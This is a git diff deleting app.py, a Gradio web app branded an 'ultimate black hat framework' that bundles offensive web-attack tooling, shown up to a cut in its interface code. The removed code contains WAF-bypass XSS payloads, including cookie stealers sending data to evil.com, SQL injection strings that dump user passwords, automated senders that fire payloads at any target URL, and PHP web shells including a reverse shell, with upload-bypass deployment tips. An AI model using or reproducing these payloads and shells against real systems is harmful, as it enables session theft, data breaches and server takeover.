Delete app.py

app.py

@@ -1,1070 +0,0 @@
-import gradio as gr
-import asyncio
-import json
-import aiohttp
-import requests
-from typing import Dict, List, Tuple, Set, Optional
-from dataclasses import dataclass, asdict
-from datetime import datetime
-from collections import defaultdict
-import re
-import logging
-import random
-import time
-import hashlib
-import base64
-from enum import Enum
-from bs4 import BeautifulSoup
-import networkx as nx
-import plotly.graph_objects as go
-from urllib.parse import urljoin, urlparse, quote, unquote
-import ssl
-import socket
-import subprocess
-from pathlib import Path
-
-# VulnLLM-R-7B - Optional
-try:
-    from transformers import AutoModelForCausalLM, AutoTokenizer
-    import torch
-    VULNLLM_AVAILABLE = True
-except:
-    VULNLLM_AVAILABLE = False
-
-print("=" * 60)
-print("ULTIMATE BLACK HAT FRAMEWORK v5.0 - XSS MASTER EDITION")
-print("Loading panels: AI | 0-Day | XSS Master | Web Shell | Attack Chain")
-print("=" * 60)
-
-class VulnLLMAnalyzer:
-    """VulnLLM-R-7B AI Model Integration"""
-
-    def __init__(self):
-        self.initialized = False
-        self.model_name = "UCSB-SURFI/VulnLLM-R-7B"
-        if VULNLLM_AVAILABLE:
-            try:
-                self.device = "cuda" if torch.cuda.is_available() else "cpu"
-                print(f"Loading VulnLLM-R-7B on {self.device}...")
-                self.tokenizer = AutoTokenizer.from_pretrained(self.model_name)
-                self.model = AutoModelForCausalLM.from_pretrained(
-                    self.model_name,
-                    torch_dtype=torch.float16 if self.device == "cuda" else torch.float32,
-                    device_map=self.device
-                )
-                self.initialized = True
-                print("VulnLLM-R-7B loaded successfully!")
-            except Exception as e:
-                print(f"VulnLLM init error: {e}")
-                print("Running in mock mode...")
-
-    async def analyze_code(self, code: str, language: str = "python") -> Dict:
-        """AI-Powered Code Analysis"""
-        if not self.initialized:
-            return self._mock_analysis(code, language)
-
-        try:
-            prompt = f"""Analyze this {language} code for security vulnerabilities:
-            ```{language}
-            {code}
-            ```
-            Identify: SQL Injection, XSS, RCE, Path Traversal, Auth Bypass"""
-
-            inputs = self.tokenizer(prompt, return_tensors="pt").to(self.device)
-            with torch.no_grad():
-                outputs = self.model.generate(inputs.input_ids, max_new_tokens=512)
-            result = self.tokenizer.decode(outputs[0], skip_special_tokens=True)
-
-            return {
-                "analysis": result,
-                "vulnerabilities": self._parse_vulnerabilities(result),
-                "severity": self._calculate_severity(result),
-                "confidence": 0.85
-            }
-        except Exception as e:
-            return self._mock_analysis(code, language)
-
-    def _mock_analysis(self, code: str, language: str) -> Dict:
-        """Mock AI Analysis when model unavailable"""
-        vulns = []
-
-        patterns = {
-            "SQL Injection": [r"execute\s*\(", r"query\s*\(", r"SELECT.*FROM.*\$"],
-            "XSS": [r"innerHTML", r"document.write", r"eval\s*\("],
-            "RCE": [r"subprocess", r"os\.system", r"exec\s*\("],
-            "Path Traversal": [r"open\s*\(.*\+", r"\.\./"],
-            "Hardcoded Secrets": [r"password\s*=", r"api_key", r"secret"]
-        }
-
-        for vuln_type, patterns_list in patterns.items():
-            for pattern in patterns_list:
-                if re.search(pattern, code, re.IGNORECASE):
-                    vulns.append({
-                        "type": vuln_type,
-                        "pattern": pattern,
-                        "line": self._find_line(code, pattern),
-                        "severity": "HIGH" if vuln_type in ["SQL Injection", "RCE"] else "MEDIUM"
-                    })
-
-        return {
-            "analysis": f"Found {len(vulns)} potential vulnerabilities in {language} code",
-            "vulnerabilities": vulns,
-            "severity": "HIGH" if any(v["severity"] == "HIGH" for v in vulns) else "MEDIUM",
-            "confidence": 0.75,
-            "model_status": "Mock Analysis (VulnLLM not loaded)"
-        }
-
-    def _parse_vulnerabilities(self, text: str) -> List[Dict]:
-        vulns = []
-        lines = text.split("\n")
-        for line in lines:
-            if any(keyword in line.lower() for keyword in ["vulnerability", "injection", "bypass"]):
-                vulns.append({"description": line.strip(), "severity": "MEDIUM"})
-        return vulns
-
-    def _calculate_severity(self, text: str) -> str:
-        text_lower = text.lower()
-        if any(word in text_lower for word in ["critical", "rce", "sql injection"]):
-            return "CRITICAL"
-        elif any(word in text_lower for word in ["high", "severe"]):
-            return "HIGH"
-        return "MEDIUM"
-
-    def _find_line(self, code: str, pattern: str) -> int:
-        lines = code.split("\n")
-        for i, line in enumerate(lines, 1):
-            if re.search(pattern, line, re.IGNORECASE):
-                return i
-        return 0
-
-# ════════════════════════════════════════════════════════════════════════════
-# PANEL 2: XSS MASTER PANEL - ULTIMATE XSS EXPLOITATION
-# ════════════════════════════════════════════════════════════════════════════
-
-class XSSMasterPanel:
-    """Ultimate XSS Payload Generator & Testing Framework"""
-
-    def __init__(self):
-        self.payloads = self._load_xss_payloads()
-        self.encoding_methods = self._load_encoding_methods()
-        self.bypass_techniques = self._load_bypass_techniques()
-        self.test_history = []
-        
-    def _load_xss_payloads(self) -> Dict[str, List[Dict]]:
-        """Load comprehensive XSS payload library"""
-        return {
-            "cloudflare_bypass": [
-                {
-                    "name": "Object Data URI + Triple Base64",
-                    "raw": '<object data="data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IoJ1lXeGxjblFvWkc5amRXMWxiblF1Wkc5dFlXbHVLUT09JykpPC9zY3JpcHQ+">',
-                    "encoded": "%3Cobject+data%3Ddata%3Atext/html%3Bbase64%26%2344%3BUEhOamNtbHdkRDVsZG1Gc0tHRjBiMmdvSjFsWGhzWlhKMEtHUnZZM1Z0Wlc1MExtUnZiV0ZwYmlrcScpS1R3dmMyTnlhWEIwUGc%3D%3D%3E",
-                    "description": "Triple layer encoding: URL → HTML Entity → Base64 → Base64",
-                    "severity": "CRITICAL",
-                    "waf_bypass": "Cloudflare, ModSecurity, AWS WAF"
-                },
-                {
-                    "name": "SVG + Unicode Escape + atob",
-                    "raw": '<svg/onload="eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))">',
-                    "encoded": "%3Csvg%2Fonload%3D%22eval%28String.fromCharCode%2897%2C108%2C101%2C114%2C116%2C40%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C100%2C111%2C109%2C97%2C105%2C110%2C41%29%29%22%3E",
-                    "description": "String.fromCharCode bypass with SVG onload",
-                    "severity": "HIGH",
-                    "waf_bypass": "Cloudflare, Akamai"
-                },
-                {
-                    "name": "Iframe SrcDoc + Double Encoding",
-                    "raw": '<iframe srcdoc="&lt;script&gt;eval(atob(\'YWxlcnQoZG9jdW1lbnQuY29va2llKQ==\'))&lt;/script&gt;">',
-                    "encoded": "%3Ciframe%20srcdoc%3D%22%26lt%3Bscript%26gt%3Beval%28atob%28%27YWxlcnQoZG9jdW1lbnQuY29va2llKQ%3D%3D%27%29%29%26lt%3B%2Fscript%26gt%3B%22%3E",
-                    "description": "Iframe srcdoc with HTML entities + Base64",
-                    "severity": "HIGH",
-                    "waf_bypass": "Cloudflare, Imperva"
-                },
-                {
-                    "name": "Mutation XSS + Object",
-                    "raw": '<noscript><p title="</noscript><img src=x onerror=eval(atob(\'YWxlcnQoMSk=\'))>">',
-                    "encoded": "%3Cnoscript%3E%3Cp%20title%3D%22%3C%2Fnoscript%3E%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%27YWxlcnQoMSk%3D%27%29%29%3E%22%3E",
-                    "description": "mXSS technique exploiting parser confusion",
-                    "severity": "CRITICAL",
-                    "waf_bypass": "All major WAFs"
-                }
-            ],
-            "advanced_vectors": [
-                {
-                    "name": "Template Literals + Fetch Cookie Stealer",
-                    "raw": "<img src=x onerror=\"eval(`fetch('https://evil.com?c='+btoa(document.cookie))`)\">",
-                    "encoded": "%3Cimg%20src%3Dx%20onerror%3D%22eval%28%60fetch%28%27https%3A%2F%2Fevil.com%3Fc%3D%27%2Bbtoa%28document.cookie%29%29%60%29%22%3E",
-                    "description": "Cookie stealer with base64 encoding",
-                    "severity": "CRITICAL",
-                    "waf_bypass": "Cloudflare"
-                },
-                {
-                    "name": "WebSocket XSS Exfiltration",
-                    "raw": "<script>ws=new WebSocket('wss://evil.com');ws.onopen=()=>ws.send(document.cookie)</script>",
-                    "encoded": "%3Cscript%3Ews%3Dnew%20WebSocket%28%27wss%3A%2F%2Fevil.com%27%29%3Bws.onopen%3D%28%29%3D%3Ews.send%28document.cookie%29%3C%2Fscript%3E",
-                    "description": "Real-time data exfiltration via WebSocket",
-                    "severity": "CRITICAL",
-                    "waf_bypass": "Most WAFs (encrypted channel)"
-                },
-                {
-                    "name": "DOM Clobbering + XSS",
-                    "raw": '<form name=x><input name=y></form><script>alert(x.y.value="XSS")</script>',
-                    "encoded": "%3Cform%20name%3Dx%3E%3Cinput%20name%3Dy%3E%3C%2Fform%3E%3Cscript%3Ealert%28x.y.value%3D%22XSS%22%29%3C%2Fscript%3E",
-                    "description": "DOM clobbering combined with XSS",
-                    "severity": "HIGH",
-                    "waf_bypass": "Cloudflare, Akamai"
-                }
-            ],
-            "polyglot": [
-                {
-                    "name": "JSON/HTML Polyglot",
-                    "raw": '{"x":"</script><script>alert(document.domain)</script>"}',
-                    "encoded": "%7B%22x%22%3A%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%22%7D",
-                    "description": "Works in JSON and HTML contexts",
-                    "severity": "HIGH",
-                    "waf_bypass": "Context-based WAFs"
-                },
-                {
-                    "name": "CSV/HTML Injection",
-                    "raw": '=cmd|"/c calc"!A1,<img src=x onerror=alert(1)>',
-                    "encoded": "%3Dcmd%7C%22%2Fc%20calc%22%21A1%2C%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E",
-                    "description": "CSV injection + XSS combo",
-                    "severity": "CRITICAL",
-                    "waf_bypass": "File upload filters"
-                }
-            ],
-            "event_handlers": [
-                {
-                    "name": "Details/Summary Ontoggle",
-                    "raw": '<details open ontoggle="eval(atob(\'YWxlcnQoZG9jdW1lbnQuY29va2llKQ==\'))">',
-                    "encoded": "%3Cdetails%20open%20ontoggle%3D%22eval%28atob%28%27YWxlcnQoZG9jdW1lbnQuY29va2llKQ%3D%3D%27%29%29%22%3E",
-                    "description": "Less common event handler",
-                    "severity": "MEDIUM",
-                    "waf_bypass": "Event handler blacklists"
-                },
-                {
-                    "name": "Video Onloadstart",
-                    "raw": '<video onloadstart="eval(String.fromCharCode(97,108,101,114,116,40,49,41))"><source>',
-                    "encoded": "%3Cvideo%20onloadstart%3D%22eval%28String.fromCharCode%2897%2C108%2C101%2C114%2C116%2C40%2C49%2C41%29%29%22%3E%3Csource%3E",
-                    "description": "Video element with rare event",
-                    "severity": "MEDIUM",
-                    "waf_bypass": "Tag-based filters"
-                }
-            ],
-            "obfuscated": [
-                {
-                    "name": "JSFuck Style",
-                    "raw": '<script>(![]+[])[+[]]+(![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]</script>',
-                    "encoded": "%3Cscript%3E%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D",
-                    "description": "Heavily obfuscated JavaScript",
-                    "severity": "HIGH",
-                    "waf_bypass": "Pattern-based detection"
-                },
-                {
-                    "name": "Hex Encoding Full",
-                    "raw": '<img src=x onerror="\\x65\\x76\\x61\\x6c\\x28\\x61\\x6c\\x65\\x72\\x74\\x28\\x31\\x29\\x29">',
-                    "encoded": "%3Cimg%20src%3Dx%20onerror%3D%22%5Cx65%5Cx76%5Cx61%5Cx6c%5Cx28%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%5Cx28%5Cx31%5Cx29%5Cx29%22%3E",
-                    "description": "Full hex encoding of eval(alert(1))",
-                    "severity": "HIGH",
-                    "waf_bypass": "String pattern matching"
-                }
-            ]
-        }
-
-    def _load_encoding_methods(self) -> Dict[str, callable]:
-        """Load encoding transformation methods"""
-        return {
-            "url_encode": lambda s: quote(s),
-            "double_url_encode": lambda s: quote(quote(s)),
-            "html_entity": lambda s: ''.join([f'&#{ord(c)};' for c in s]),
-            "hex_encode": lambda s: ''.join([f'\\x{ord(c):02x}' for c in s]),
-            "unicode_escape": lambda s: ''.join([f'\\u{ord(c):04x}' for c in s]),
-            "base64": lambda s: base64.b64encode(s.encode()).decode(),
-            "mixed": self._mixed_encoding
-        }
-
-    def _mixed_encoding(self, payload: str) -> str:
-        """Apply multiple encoding layers"""
-        # Layer 1: Some chars to hex
-        result = ""
-        for i, char in enumerate(payload):
-            if i % 3 == 0:
-                result += f'\\x{ord(char):02x}'
-            elif i % 3 == 1:
-                result += f'&#{ord(char)};'
-            else:
-                result += char
-        return result
-
-    def _load_bypass_techniques(self) -> Dict[str, List[str]]:
-        """Load WAF bypass techniques"""
-        return {
-            "case_variation": [
-                "ScRiPt", "ImG", "SvG", "ObJeCt", "IfrAmE"
-            ],
-            "whitespace_tricks": [
-                "%09", "%0a", "%0d", "%0c", "%a0", "/**/", "\t", "\n"
-            ],
-            "comment_insertion": [
-                "<!--", "-->", "/**/", "//", "#"
-            ],
-            "null_byte": [
-                "%00", "\\x00", "\\0"
-            ],
-            "utf_variants": [
-                "%c0%bc", "%e0%80%bc", "%c0%3c"  # Alternative < encodings
-            ]
-        }
-
-    async def test_xss_payload(self, target_url: str, param: str, payload: str, method: str = "GET") -> Dict:
-        """Test XSS payload against target"""
-        result = {
-            "tested": True,
-            "timestamp": datetime.now().isoformat(),
-            "target": target_url,
-            "parameter": param,
-            "payload": payload,
-            "method": method,
-            "vulnerable": False,
-            "response_indicators": []
-        }
-
-        try:
-            if method == "GET":
-                test_url = f"{target_url}?{param}={quote(payload)}"
-                async with aiohttp.ClientSession() as session:
-                    async with session.get(test_url, timeout=10) as response:
-                        content = await response.text()
-                        result["status_code"] = response.status
-                        result["response_length"] = len(content)
-                        
-                        # Check for XSS indicators
-                        indicators = [
-                            payload in content,
-                            "<script>" in content.lower(),
-                            "onerror=" in content.lower(),
-                            "onload=" in content.lower(),
-                            unquote(payload) in content
-                        ]
-                        
-                        result["vulnerable"] = any(indicators)
-                        result["response_indicators"] = [
-                            f"Payload reflected: {payload in content}",
-                            f"Script tags found: {'<script>' in content.lower()}",
-                            f"Event handlers found: {'onerror=' in content.lower() or 'onload=' in content.lower()}"
-                        ]
-            else:  # POST
-                async with aiohttp.ClientSession() as session:
-                    data = {param: payload}
-                    async with session.post(target_url, data=data, timeout=10) as response:
-                        content = await response.text()
-                        result["status_code"] = response.status
-                        result["response_length"] = len(content)
-                        result["vulnerable"] = payload in content or unquote(payload) in content
-
-            self.test_history.append(result)
-            return result
-
-        except Exception as e:
-            result["error"] = str(e)
-            return result
-
-    def generate_payload(self, payload_type: str, encoding: str = "none", custom_code: str = "") -> Dict:
-        """Generate customized XSS payload"""
-        
-        # Get base payload
-        all_payloads = []
-        for category in self.payloads.values():
-            all_payloads.extend(category)
-        
-        # Find matching payload
-        selected = None
-        for p in all_payloads:
-            if payload_type.lower() in p["name"].lower():
-                selected = p
-                break
-        
-        if not selected and all_payloads:
-            selected = all_payloads[0]
-        
-        if not selected:
-            return {"error": "No payload found"}
-        
-        # Apply custom code if provided
-        payload = selected["raw"]
-        if custom_code:
-            payload = payload.replace("alert(1)", custom_code)
-            payload = payload.replace("alert(document.domain)", custom_code)
-        
-        # Apply encoding
-        if encoding != "none" and encoding in self.encoding_methods:
-            payload = self.encoding_methods[encoding](payload)
-        
-        return {
-            "name": selected["name"],
-            "raw": selected["raw"],
-            "encoded": payload,
-            "url_encoded": quote(payload),
-            "double_encoded": quote(quote(payload)),
-            "description": selected["description"],
-            "severity": selected["severity"],
-            "waf_bypass": selected["waf_bypass"],
-            "usage_example": f"?param={quote(payload)}"
-        }
-
-    def get_payload_categories(self) -> List[str]:
-        """Get available payload categories"""
-        return list(self.payloads.keys())
-
-    def get_all_payloads_info(self) -> str:
-        """Get formatted info about all payloads"""
-        output = "# 🔥 XSS PAYLOAD ARSENAL\n\n"
-        
-        for category, payloads in self.payloads.items():
-            output += f"## {category.upper().replace('_', ' ')}\n\n"
-            for i, p in enumerate(payloads, 1):
-                output += f"### {i}. {p['name']}\n"
-                output += f"**Severity:** {p['severity']}\n"
-                output += f"**WAF Bypass:** {p['waf_bypass']}\n"
-                output += f"**Description:** {p['description']}\n\n"
-                output += f"**Raw Payload:**\n```html\n{p['raw']}\n```\n\n"
-                output += f"**URL Encoded:**\n```\n{p['encoded'][:100]}...\n```\n\n"
-                output += "---\n\n"
-        
-        return output
-
-# ═══════════════���════════════════════════════════════════════════════════════
-# PANEL 3: 0-DAY EXPLOIT PANEL (SQL Injection - Original)
-# ════════════════════════════════════════════════════════════════════════════
-
-class ZeroDayExploitPanel:
-    """Advanced SQL Injection & 0-Day Exploitation"""
-
-    def __init__(self):
-        self.sql_payloads = self._load_sql_payloads()
-        self.waf_bypass = self._load_waf_bypass()
-
-    def _load_sql_payloads(self) -> Dict[str, List[str]]:
-        return {
-            "union_based": [
-                "' UNION SELECT NULL--",
-                "' UNION SELECT NULL,NULL--",
-                "' UNION SELECT NULL,NULL,NULL--",
-                "' UNION SELECT version(),user(),database()--",
-                "' UNION SELECT table_name FROM information_schema.tables--",
-                "' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--",
-                "' UNION SELECT username,password FROM users--",
-            ],
-            "time_based": [
-                "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
-                "' AND SLEEP(5)--",
-                "' WAITFOR DELAY '0:0:5'--",
-            ],
-            "boolean_based": [
-                "' AND 1=1--",
-                "' AND 1=2--",
-                "' AND 'a'='a",
-            ]
-        }
-
-    def _load_waf_bypass(self) -> List[Dict]:
-        return [
-            {"name": "Comment Variations", "payloads": ["/**/", "/*!50000*/", "--"]},
-            {"name": "Case Variation", "payloads": ["SeLeCt", "UnIoN"]},
-        ]
-
-    async def test_sql_injection(self, target_url: str, param: str, method: str = "GET") -> Dict:
-        """Test SQL injection"""
-        results = {
-            "tested": True,
-            "target": target_url,
-            "parameter": param,
-            "vulnerabilities_found": [],
-            "payloads_tested": 0
-        }
-
-        for technique, payloads in self.sql_payloads.items():
-            for payload in payloads[:3]:  # Test first 3 of each type
-                try:
-                    if method == "GET":
-                        test_url = f"{target_url}?{param}={quote(payload)}"
-                        response = requests.get(test_url, timeout=5)
-                    else:
-                        response = requests.post(target_url, data={param: payload}, timeout=5)
-                    
-                    results["payloads_tested"] += 1
-                    
-                    # Check for SQL error indicators
-                    error_indicators = ["sql", "mysql", "syntax error", "database", "warning", "postgres"]
-                    if any(indicator in response.text.lower() for indicator in error_indicators):
-                        results["vulnerabilities_found"].append({
-                            "technique": technique,
-                            "payload": payload,
-                            "status_code": response.status_code,
-                            "evidence": "SQL error messages detected"
-                        })
-                except:
-                    pass
-
-        return results
-
-# ════════════════════════════════════════════════════════════════════════════
-# PANEL 4: WEB SHELL GENERATOR
-# ════════════════════════════════════════════════════════════════════════════
-
-class WebShellGenerator:
-    """Advanced Web Shell Generation"""
-
-    def generate_shell(self, shell_type: str, attacker_ip: str = "", attacker_port: int = 4444) -> str:
-        """Generate web shell code"""
-        
-        shells = {
-            "php_simple": """<?php
-if(isset($_REQUEST['cmd'])){
-    system($_REQUEST['cmd']);
-}
-?>""",
-            "php_advanced": """<?php
-@error_reporting(0);
-@set_time_limit(0);
-@ini_set('max_execution_time',0);
-if(isset($_POST['cmd'])){
-    $cmd = $_POST['cmd'];
-    if(function_exists('system')){
-        @ob_start();
-        @system($cmd);
-        $output = @ob_get_contents();
-        @ob_end_clean();
-    }
-    echo "<pre>$output</pre>";
-}
-?>
-<form method="POST">
-<input type="text" name="cmd" />
-<input type="submit" value="Execute" />
-</form>""",
-            "php_reverse": f"""<?php
-$ip = '{attacker_ip}';
-$port = {attacker_port};
-$sock = fsockopen($ip, $port);
-exec("/bin/bash -i <&3 >&3 2>&3");
-?>""",
-            "php_obfuscated": """<?php
-$a=str_replace("x","","sxysxtxexm");
-$b=str_replace("y","","$y_yRyEyQyUyEySyTy[y'ycymydd'y]");
-$a($b);
-?>"""
-        }
-
-        return shells.get(shell_type, shells["php_simple"])
-
-# ════════════════════════════════════════════════════════════════════════════
-# FRAMEWORK INTEGRATION
-# ════════════════════════════════════════════════════════════════════════════
-
-class UltimateFramework:
-    """Main Framework Controller"""
-
-    def __init__(self):
-        self.ai_analyzer = VulnLLMAnalyzer()
-        self.xss_panel = XSSMasterPanel()
-        self.sql_panel = ZeroDayExploitPanel()
-        self.shell_gen = WebShellGenerator()
-
-    def get_xss_categories(self) -> List[str]:
-        return self.xss_panel.get_payload_categories()
-
-    def get_all_xss_payloads(self) -> Dict:
-        return self.xss_panel.payloads
-
-# Initialize framework
-framework = UltimateFramework()
-
-# ════════════════════════════════════════════════════════════════════════════
-# GRADIO UI FUNCTIONS
-# ════════════════════════════════════════════════════════════════════════════
-
-async def panel1_ai_analyze(code: str, language: str):
-    """Panel 1: AI Code Analysis"""
-    result = await framework.ai_analyzer.analyze_code(code, language)
-    
-    output = f"""# 🤖 AI VULNERABILITY ANALYSIS
-
-**Language:** {language}
-**Confidence:** {result['confidence']*100:.1f}%
-**Severity:** {result['severity']}
-**Model Status:** {result.get('model_status', 'Active')}
-
-## Analysis Results
-
-{result['analysis']}
-
-## Detected Vulnerabilities
-
-"""
-    for i, vuln in enumerate(result['vulnerabilities'], 1):
-        output += f"{i}. **{vuln.get('type', 'Unknown')}** - {vuln.get('description', 'N/A')}\n"
-        if 'line' in vuln:
-            output += f"   Line: {vuln['line']}\n"
-        output += f"   Severity: {vuln.get('severity', 'MEDIUM')}\n\n"
-
-    return output
-
-def panel2_xss_generate(payload_type: str, encoding: str, custom_code: str):
-    """Panel 2: XSS Payload Generation"""
-    result = framework.xss_panel.generate_payload(payload_type, encoding, custom_code)
-    
-    if "error" in result:
-        return f"❌ Error: {result['error']}"
-    
-    output = f"""# 🔥 GENERATED XSS PAYLOAD
-
-## {result['name']}
-
-**Severity:** {result['severity']}
-**WAF Bypass Capability:** {result['waf_bypass']}
-
-### Description
-{result['description']}
-
-### Raw Payload
-```html
-{result['raw']}
-```
-
-### Encoded Payload
-```html
-{result['encoded']}
-```
-
-### URL Encoded (for GET parameters)
-```
-{result['url_encoded']}
-```
-
-### Double URL Encoded (for nested params)
-```
-{result['double_encoded']}
-```
-
-### Usage Example
-```
-{result['usage_example']}
-```
-
-## 🎯 Testing Instructions
-
-1. **Manual Testing:**
-   - Copy the URL encoded payload
-   - Insert into vulnerable parameter
-   - Check browser console/alerts
-
-2. **Automated Testing:**
-   - Use the Test XSS tab
-   - Enter target URL and parameter
-   - Click "Test Payload"
-
-3. **WAF Bypass:**
-   - Try different encoding methods
-   - Mix case variations
-   - Use payload fragmentation
-
-"""
-    return output
-
-async def panel2_xss_test(target_url: str, param: str, payload: str, method: str):
-    """Panel 2: XSS Testing"""
-    if not target_url or not param or not payload:
-        return "❌ Please fill in all fields"
-    
-    result = await framework.xss_panel.test_xss_payload(target_url, param, payload, method)
-    
-    vulnerability_status = "🚨 VULNERABLE" if result.get("vulnerable") else "✅ NOT VULNERABLE"
-    
-    output = f"""# {vulnerability_status}
-
-## Test Results
-
-**Target:** {result['target']}
-**Parameter:** {result['parameter']}
-**Method:** {result['method']}
-**Timestamp:** {result['timestamp']}
-
-### Payload Tested
-```html
-{result['payload']}
-```
-
-### Response Analysis
-**Status Code:** {result.get('status_code', 'N/A')}
-**Response Length:** {result.get('response_length', 0)} bytes
-
-### Detection Indicators
-"""
-    
-    for indicator in result.get('response_indicators', []):
-        output += f"- {indicator}\n"
-    
-    if result.get('error'):
-        output += f"\n### ⚠️ Error\n{result['error']}\n"
-    
-    return output
-
-def panel2_xss_list_all():
-    """List all available XSS payloads"""
-    return framework.xss_panel.get_all_payloads_info()
-
-async def panel3_sql_test(target_url: str, param: str, method: str):
-    """Panel 3: SQL Injection Testing"""
-    if not target_url or not param:
-        return "❌ Please provide target URL and parameter"
-    
-    result = await framework.sql_panel.test_sql_injection(target_url, param, method)
-    
-    output = f"""# 💉 SQL INJECTION TEST RESULTS
-
-**Target:** {result['target']}
-**Parameter:** {result['parameter']}
-**Payloads Tested:** {result['payloads_tested']}
-
-## Vulnerabilities Found: {len(result['vulnerabilities_found'])}
-
-"""
-    
-    if result['vulnerabilities_found']:
-        for i, vuln in enumerate(result['vulnerabilities_found'], 1):
-            output += f"### {i}. {vuln['technique'].upper()}\n"
-            output += f"**Payload:** `{vuln['payload']}`\n"
-            output += f"**Evidence:** {vuln['evidence']}\n"
-            output += f"**Status Code:** {vuln['status_code']}\n\n"
-    else:
-        output += "✅ No SQL injection vulnerabilities detected\n"
-    
-    return output
-
-def panel4_generate_shell(shell_type: str, attacker_ip: str, attacker_port: int):
-    """Panel 4: Web Shell Generation"""
-    shell_code = framework.shell_gen.generate_shell(shell_type, attacker_ip, attacker_port)
-    
-    output = f"""# 💣 WEB SHELL GENERATED
-
-**Type:** {shell_type}
-**Target:** {attacker_ip}:{attacker_port}
-
-## Shell Code
-
-```php
-{shell_code}
-```
-
-## 📝 Deployment Instructions
-
-1. **Upload Methods:**
-   - File upload vulnerability
-   - Unrestricted file upload
-   - ZIP slip vulnerability
-   - LFI to shell upload
-
-2. **Filename Tricks:**
-   - `shell.php`
-   - `shell.php.jpg` (double extension)
-   - `shell.php%00.jpg` (null byte)
-   - `shell.phtml`, `shell.phar`, `shell.php5`
-
-3. **Bypass Techniques:**
-   - Change file magic bytes
-   - Add valid image header
-   - Use .htaccess to treat all files as PHP
-
-4. **Access:**
-   - Navigate to: `http://target.com/uploads/shell.php`
-   - For reverse shell: Start listener with `nc -lvp {attacker_port}`
-
-## ⚠️ LEGAL WARNING
-Use only on systems you own or have explicit permission to test!
-"""
-    return output
-
-# ════════════════════════════════════════════════════════════════════════════
-# GRADIO INTERFACE
-# ════════════════════════════════════════════════════════════════════════════
-
-with gr.Blocks(title="Ultimate XSS Framework v5.0", theme=gr.themes.Base()) as app:
-    
-    gr.Markdown("""
-    # 🔥 ULTIMATE BLACK HAT FRAMEWORK v5.0 - XSS MASTER EDITION
-    
-    **Advanced Penetration Testing & Vulnerability Research Platform**
-    
-    🚨 **LEGAL WARNING:** This tool is for authorized security testing only. Unauthorized access is illegal.
-    
-    ---
-    """)
-
-    with gr.Tabs():
-        # ═══════════════════════════════════════════════════════════════════
-        # PANEL 1: AI ANALYZER
-        # ═══════════════════════════════════════════════════════════════════
-        with gr.Tab("🤖 Panel 1: AI Vulnerability Scanner", id="panel1"):
-            gr.Markdown("### VulnLLM-R-7B Deep Code Analysis")
-
-            with gr.Row():
-                with gr.Column(scale=2):
-                    code_input = gr.Code(
-                        label="Source Code",
-                        language="python",
-                        value="# Paste code here\n<?php\n$id = $_GET['id'];\n$query = \"SELECT * FROM users WHERE id = '$id'\";\nmysql_query($query);\n?>",
-                        lines=15
-                    )
-                    lang_input = gr.Dropdown(
-                        choices=["python", "php", "javascript", "java", "csharp"],
-                        value="php",
-                        label="Language"
-                    )
-                    analyze_btn = gr.Button("🔍 AI ANALYZE", variant="primary", size="lg")
-
-                with gr.Column(scale=1):
-                    gr.Markdown("""
-                    **AI Model:** VulnLLM-R-7B  
-                    **Capability:** Deep vulnerability detection
-                    
-                    **Detects:**
-                    - SQL Injection
-                    - XSS vulnerabilities
-                    - RCE patterns
-                    - Path traversal
-                    - Hardcoded secrets
-                    - Auth bypasses
-                    """)
-
-            ai_output = gr.Markdown(label="Analysis Results")
-            analyze_btn.click(panel1_ai_analyze, inputs=[code_input, lang_input], outputs=ai_output)
-
-        # ═══════════════════════════════════════════════════════════════════
-        # PANEL 2: XSS MASTER PANEL
-        # ══════════════��════════════════════════════════════════════════════
-        with gr.Tab("🔥 Panel 2: XSS Master Control", id="panel2"):
-            gr.Markdown("### Ultimate XSS Payload Generator & Testing Suite")
-
-            with gr.Tabs():
-                # XSS Generation Tab
-                with gr.Tab("⚡ Generate Payload"):
-                    with gr.Row():
-                        with gr.Column(scale=2):
-                            payload_type = gr.Dropdown(
-                                choices=[
-                                    "Object Data URI + Triple Base64",
-                                    "SVG + Unicode Escape",
-                                    "Iframe SrcDoc",
-                                    "Mutation XSS",
-                                    "Template Literals Cookie Stealer",
-                                    "WebSocket Exfiltration",
-                                    "DOM Clobbering",
-                                    "JSON/HTML Polyglot",
-                                    "Details Ontoggle",
-                                    "JSFuck Style"
-                                ],
-                                value="Object Data URI + Triple Base64",
-                                label="🎯 Payload Type"
-                            )
-                            encoding = gr.Dropdown(
-                                choices=["none", "url_encode", "double_url_encode", "html_entity", "hex_encode", "unicode_escape", "base64", "mixed"],
-                                value="none",
-                                label="🔐 Additional Encoding"
-                            )
-                            custom_code = gr.Textbox(
-                                label="💻 Custom JavaScript (optional)",
-                                placeholder="fetch('https://evil.com?c='+document.cookie)",
-                                lines=3
-                            )
-                            gen_btn = gr.Button("🔥 GENERATE PAYLOAD", variant="primary", size="lg")
-
-                        with gr.Column(scale=1):
-                            gr.Markdown("""
-                            ## 🎯 Payload Arsenal
-                            
-                            **Cloudflare Bypass:**
-                            - Triple encoding layers
-                            - Parser confusion
-                            - Context switching
-                            
-                            **Advanced Vectors:**
-                            - Cookie stealing
-                            - WebSocket exfil
-                            - DOM clobbering
-                            
-                            **Polyglot:**
-                            - Multi-context payloads
-                            - CSV/JSON/HTML
-                            
-                            **Obfuscation:**
-                            - JSFuck style
-                            - Hex encoding
-                            - Character codes
-                            """)
-
-                    xss_gen_output = gr.Markdown(label="Generated Payload")
-                    gen_btn.click(panel2_xss_generate, inputs=[payload_type, encoding, custom_code], outputs=xss_gen_output)
-
-                # XSS Testing Tab
-                with gr.Tab("🧪 Test XSS"):
-                    with gr.Row():
-                        with gr.Column(scale=2):
-                            test_url = gr.Textbox(
-                                label="🎯 Target URL",
-                                placeholder="http://target.com/search.php",
-                                lines=1
-                            )
